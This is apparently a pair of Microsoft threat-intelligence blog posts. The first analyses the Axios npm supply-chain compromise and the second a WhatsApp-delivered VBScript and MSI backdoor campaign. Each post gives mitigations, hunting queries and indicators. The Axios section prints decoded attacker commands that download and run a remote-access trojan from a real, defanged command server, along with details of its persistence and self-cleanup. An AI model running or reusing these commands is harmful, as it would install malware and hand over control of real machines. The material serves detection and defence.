
Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

Microsoft Defender Experts observed a campaign beginning in late February 2026 that uses WhatsApp messages to deliver malicious Visual Basic Script (VBS) files. Once executed, these scripts initiate a multi-stage infection chain designed to establish persistence and enable remote access.

The campaign relies on a combination of social engineering and living-off-the-land techniques. It uses renamed Windows utilities to blend into normal system activity, retrieves payloads from trusted cloud services such as AWS, Tencent Cloud, and Backblaze B2, and installs malicious Microsoft Installer (MSI) packages to maintain control of the system. By combining trusted platforms with legitimate tools, the threat actor reduces visibility and increases the likelihood of successful execution.

Attack chain overview

This campaign demonstrates a sophisticated infection chain combining social engineering (WhatsApp delivery), stealth techniques (renamed legitimate tools, hidden attributes), and cloud-based payload hosting. The attackers aim to establish persistence and escalate privileges, ultimately installing malicious MSI packages on victim systems. 

Stage 1: Initial Access via WhatsApp

The campaign begins with the delivery of malicious Visual Basic Script (VBS) files through WhatsApp messages, exploiting the trust users place in familiar communication platforms. Once executed, these scripts create hidden folders in C:\ProgramData and drop renamed versions of legitimate Windows utilities such as curl.exe renamed as netapi.dll and bitsadmin.exe as sc.exe. By disguising these tools under misleading names, attackers ensure they blend seamlessly into the system environment. Notably, these renamed binaries Notably, these renamed binaries retain their original PE (Portable Executable) metadata, including the OriginalFileName field which still identifies them as curl.exe and bitsadmin.exe. This means Microsoft Defender and other security solutions can leverage this metadata discrepancy as a detection signal, flagging instances where a file’s name does not match its embedded OriginalFileName. 

However, for environments where PE metadata inspection is not actively monitored, defenders may need to rely on command line flags and network telemetry to hunt for malicious activity. The scripts execute these utilities with downloader flags, initiating the retrieval of additional payloads.

Stage 2: Payload Retrieval from Cloud Services

After establishing a foothold, the malware advances to its next phase: downloading secondary droppers like auxs.vbs and WinUpdate_KB5034231.vbs. These files are hosted on trusted cloud platforms such as AWS S3, Tencent Cloud, and Backblaze B2, which attackers exploit to mask malicious activity as legitimate traffic.  

In the screenshot below, the script copies legitimate Windows utilities (curl.exe, bitsadmin.exe) into a hidden folder under C:\ProgramData\EDS8738, renaming them as netapi.dll and sc.exe respectively. Using these renamed binaries with downloader flags, the script retrieves secondary VBS payloads (auxs.vbs, 2009.vbs) from cloud-hosted infrastructure. This technique allows malicious network requests to blend in as routine system activity. 

By embedding their operations within widely used cloud services, adversaries make it difficult for defenders to distinguish between normal enterprise activity and malicious downloads. This reliance on cloud infrastructure demonstrates a growing trend in cybercrime, where attackers weaponize trusted technologies to evade detection and complicate incident response. 

Stage 3: Privilege Escalation & Persistence

Once the secondary payloads are in place, the malware begins tampering with User Account Control (UAC) settings to weaken system defenses. It continuously attempts to launch cmd.exe with elevated privileges retrying until UAC elevation succeeds or the process is forcibly terminated modifying registry entries under HKLM\Software\Microsoft\Win, and embedding persistence mechanisms to ensure the infection survives system reboots.  

These actions allow attackers to escalate privileges, gain administrative control, and maintain a long‑term presence on compromised devices. The malware modifies the ConsentPromptBehaviorAdmin registry value to suppress UAC prompts, silently granting administrative privileges without user interaction by combining registry manipulation with UAC bypass techniques, the malware ensures that even vigilant users or IT teams face significant challenges in removing the infection. 

Stage 4: Final Payload Delivery

In the final stage, the campaign delivers malicious MSI installers, including Setup.msi, WinRAR.msi, LinkPoint.msi, and AnyDesk.msi. all of which are unsigned. The absence of a valid code signing certificate is a notable indicator, as legitimate enterprise software of this nature would typically carry a trusted publisher signature. These installers enable attackers to establish remote access, giving them the ability to control victim systems directly.

The use of MSI packages also helps the malware blend in with legitimate enterprise software deployment practices, reducing suspicion among users and administrators. Once installed, tools like AnyDesk provide attackers with persistent remote connectivity, allowing them to exfiltrate data, deploy additional malware, or use compromised systems as part of a larger network of infected devices. 

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of the WhatsApp VBS Malware Campaign discussed in this report. These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender.  

Organizations can follow these recommendations to mitigate threats associated with this threat:       

• Strengthen Endpoint Controls Block or restrict execution of script hosts (wscript, cscript, mshta) in untrusted paths, and monitor for renamed or hidden Windows utilities being executed with unusual flags. 

• Enhance Cloud Traffic Monitoring Inspect and filter traffic to cloud services like AWS, Tencent Cloud, and Backblaze B2, ensuring malicious payload downloads are detected even when hosted on trusted platforms. 

• Detect Persistence Techniques Continuously monitor registry changes under HKLM\Software\Microsoft\Win and flag repeated tampering with User Account Control (UAC) settings as indicators of compromise. 

• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat‑intelligence sources.  

• Educate Users on Social Engineering Train employees to recognize suspicious WhatsApp attachments and unexpected messages, reinforcing that even familiar platforms can be exploited for malware delivery. 

Microsoft also recommends the following mitigations to reduce the impact of this threat:  

• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.  

• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. 

The following mitigations apply specifically to Microsoft Defender Endpoint security 

• Run EDR in block mode  so malicious artifacts can be blocked, even if your antivirus provider does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.  

• Enable network protection and web protection to safeguard against malicious sites and internet-based threats.  

• Allow investigation and remediation in full automated mode to take immediate action on alerts to resolve breaches, significantly reducing alert volume.  

• Turn on the tamper protection feature to prevent attackers from stopping security services. Combine tamper protection with the  DisableLocalAdminMerge setting to help prevent attackers from using local administrator privileges to set antivirus exclusions.  

• Microsoft Defender customers can also implement the following attack surface reduction rules to harden an environment against LOLBAS techniques used by threat actors:  

•  Block execution of potentially obfuscated scripts 

•  Block executable files from running unless they meet a prevalence, age, or trusted list criterion 

• Block JavaScript or VBScript from launching downloaded executable content 

 Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.  

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.  

Microsoft Defender threat analytics

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.  

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following query to find related activity in their networks:  

Malicious script execution  

DeviceProcessEvents  
| where InitiatingProcessFileName has "wscript.exe"  
| where InitiatingProcessCommandLine has_all ("wscript.exe",".vbs")  
| where ProcessCommandLine has_all ("ProgramData","-K","-s","-L","-o", "https:")   

Malicious next stage VBS payload drop   

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".vbs"  

Malicious installer payload drop

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".msi"  

Malicious outbound network communication  

DeviceNetworkEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where InitiatingProcessCommandLine has_all ("-s","-L","-o", "-k")  

Indicators of compromise

Initial Stage: VBS Scripts delivered via WhatsApp 

Next Stage VBS payload/Dropper dropped from cloud storage 

MSI installers (Final payload)

Cloud storage URLs: Payload hosting 

Command and control (C2) infrastructure 

This research is provided by Microsoft Defender Security Research with contributions from Sabitha S and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post WhatsApp malware campaign delivers VBScript and MSI backdoors appeared first on Microsoft Security Blog.